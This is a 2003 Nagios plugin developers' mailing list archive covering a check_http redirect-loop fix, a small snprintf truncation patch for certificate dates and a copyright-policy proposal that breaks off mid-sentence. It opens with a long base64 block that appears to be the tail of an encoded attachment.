AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACchVndAcNB3 L7IthuqUttkbaI5toW/Ma9cREwXJr2bGKxWUSLB1PIIaS01RbFxQRCXoVDbDEpq4Yumyi65HRdpM 3Ga7gyB6TAfZ9GeKPkz/gNdHfQo5WyK6kk3e3416A+3AKPhtFhKaSZkYxFj6+M2xbjOVSCpPharh /VxSm4iVAk4yXUKq7H+ADGwboJC+fQm8+7jatvO6YUfFxxQOzfY8KTP4vt2InUxuuOl2cfiFELy0 IOsT73kycNOqH03/dY6FypJqffAfOkjFzUMhr8AqN9OCKt0p+TNW9bGP/Kp1XK6X4Iydu/Wy/xA0 A5Zpbl3Gl9/gKIkSvEhLlXfwGYKZSluuaTMQmbpJkKW7StxmyJ6O/fV9pclS8jV3oWub5MzdvI++ mMz3UMdA50acjuzsssWb5XknsOqtK2nhhDya2yRx3g+m84v73khc0k3eTce9rBtzSgflO9Df2PdF TLLYFS/62962HytiMp2UFAkMMby4jWvloU8xsUAp/4Ws/jc55M/xh5mwSb7B5AtSX9luSglcmPun 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 lBIwp47yLBfxkJMl From kdebisschop at infoplease.com Thu Aug 21 15:36:06 2003 From: kdebisschop at infoplease.com (DeBisschop, Karl) Date: Thu Aug 21 15:36:06 2003 Subject: [Nagiosplug-devel] RE: check_http endless redirection loop Message-ID: CVS HEAD fixed - simple loops will be detected and there is a maximum depth after which redirection will be halted (both cases emit STATE_WARNING). I plan to make redirection depth a command-line option. Since we are nearing an alpha release on 1.4.0, I'd prefer to not backpatch to 1.3.1, and instead focus on the upcoming alpha. If this is a critical issue for you I will consider a backpatch, however. -- Karl -----Original Message----- From: Avo Raup To: DeBisschop, Karl Sent: 8/18/2003 12:17 PM Subject: check_http endless redirection loop Hello Karl, I'm writing to you as to Nagios plugin developer. I'm not a programmer myself, more manager, and I don't know how to use common ways to issue a request for chage, so I'm sorry for this direct email. I encountered a problem with check_http and endless redirection loop. I found in Internet that some years ago you wrote in one mailinglist: "Your experience suggests we should reconsider the default. To follow by default is intuitive to me, that's what a browser does. Or we could default to warn on redirects. But it strikes me as poor behaviour for a monitoring tool to silently accept what actually might be an error condition." I totally agree with you. We are using Nagios and as a default behaviour I'd prefer -f follow. (Even -f warning is better as standard -f ok.) Especially when string check -s is included. But today I first time fall in a endless redirection loop. Unfortunately a hosting provider of one of our customers set up redirection to the very same place. This primer host is pillsavings4.com and redirection is pointing to the same place. And check_http falls in a endless loop. Of course the same happens with a browser. We are using not the latest version of plugins - nagios-plugins-1.3.0-1.i386.rpm. If this error is already debugged, I'm very sorry for disturbing you. Please tell me, what to do? Thank you. [avo]# ./check_http -H pillsavings4.com -f follow -v Page is 622 characters STATUS: HTTP/1.1 302 Found **** HEADER **** Date: Mon, 18 Aug 2003 15:57:06 GMT Server: Apache/1.3.27 (Unix) mod_auth_passthrough/1.6 mod_log_bytes/1.2 mod_bwlimited/1.0 PHP/4.3.2 FrontPage/5.0.2.2634 mod_ssl/2.8.14 OpenSSL/0.9.6b Location: http://pillsavings4.com/suspended.page/ Connection: close Content-Type: text/html; charset=iso-8859-1 **** CONTENT **** 302 Found

Found

The document has moved here.

Apache/1.3.27 Server at www.pillsavings4.com Port 80
..... etc etc Best regards Avo Raup Monitoring and Helpdesk MicroLink **************************************************************************** This email may contain confidential material. If you were not an intended recipient, please notify the sender and delete all copies. We may monitor email to and from our network. **************************************************************************** From bob at intelenet.net Thu Aug 21 20:13:37 2003 From: bob at intelenet.net (Bob Myers) Date: Thu Aug 21 20:13:37 2003 Subject: [Nagiosplug-devel] check_http formatting error for certificate checking Message-ID: <3F43C01E.80509@intelenet.net> Patch against 1.3.99 distribution on SourceForge. Problem exists in 1.3.1, 1.3.99, r1_3_0-200308130007. "16" truncates the string by 1 character. --- check_http.c~ 2003-08-10 05:07:08.000000000 -0700 +++ check_http.c 2003-08-20 11:34:58.000000000 -0700 @@ -920,7 +920,7 @@ days_left = (mktime (&stamp) - time (NULL)) / 86400; snprintf - (timestamp, 16, "%02d/%02d/%04d %02d:%02d", + (timestamp, 17, "%02d/%02d/%04d %02d:%02d", stamp.tm_mon + 1, stamp.tm_mday, stamp.tm_year + 1900, stamp.tm_hour, stamp.tm_min); From karl at debisschop.net Thu Aug 21 21:47:23 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Thu Aug 21 21:47:23 2003 Subject: [Nagiosplug-devel] check_http formatting error for certificate checking In-Reply-To: <3F43C01E.80509@intelenet.net> References: <3F43C01E.80509@intelenet.net> Message-ID: <1061527477.15372.1.camel@miles.debisschop.net> On Wed, 2003-08-20 at 14:38, Bob Myers wrote: > Patch against 1.3.99 distribution on SourceForge. Problem exists in > 1.3.1, 1.3.99, r1_3_0-200308130007. > > "16" truncates the string by 1 character. Thanks. Patch applied to CVS HEAD and to stable r1_3_0 branch -- Karl From bob at intelenet.net Thu Aug 21 22:07:54 2003 From: bob at intelenet.net (Bob Myers) Date: Thu Aug 21 22:07:54 2003 Subject: [Nagiosplug-devel] check_http formatting error for certificate checking Message-ID: <3F43C01E.80509@intelenet.net> Patch against 1.3.99 distribution on SourceForge. Problem exists in 1.3.1, 1.3.99, r1_3_0-200308130007. "16" truncates the string by 1 character. --- check_http.c~ 2003-08-10 05:07:08.000000000 -0700 +++ check_http.c 2003-08-20 11:34:58.000000000 -0700 @@ -920,7 +920,7 @@ days_left = (mktime (&stamp) - time (NULL)) / 86400; snprintf - (timestamp, 16, "%02d/%02d/%04d %02d:%02d", + (timestamp, 17, "%02d/%02d/%04d %02d:%02d", stamp.tm_mon + 1, stamp.tm_mday, stamp.tm_year + 1900, stamp.tm_hour, stamp.tm_min); From ted at serreyn.com Thu Aug 21 23:07:46 2003 From: ted at serreyn.com (Ted Serreyn) Date: Thu Aug 21 23:07:46 2003 Subject: [Nagiosplug-devel] anyone ever write Message-ID: <001e01c3685c$43b19fa0$0d14140a@ad.serreyn.com> A bandwidth plugin. The idea is that you only run checks if there is bandwidth available (5 min ave?). -- Ted Serreyn 262-363-9265 Serreyn Network Services, LLC http://www.serreyn.com/ From karl at debisschop.net Thu Aug 21 23:08:24 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Thu Aug 21 23:08:24 2003 Subject: [Nagiosplug-devel] porposal to clarify terms of submission Message-ID: <1061532323.15372.31.camel@miles.debisschop.net> In the last round of cleanup, I have found a few times where attribution and current copyright has become murky. I'd like to clarify things in our public documents so people know what to expect. In my mind, this is the model under which we operate is as follows. This is a little scattershot, but should be a basis for comment. Out of this I hope to formulate some clearer policy statements to be included with the distribution. COPYRIGHT When a 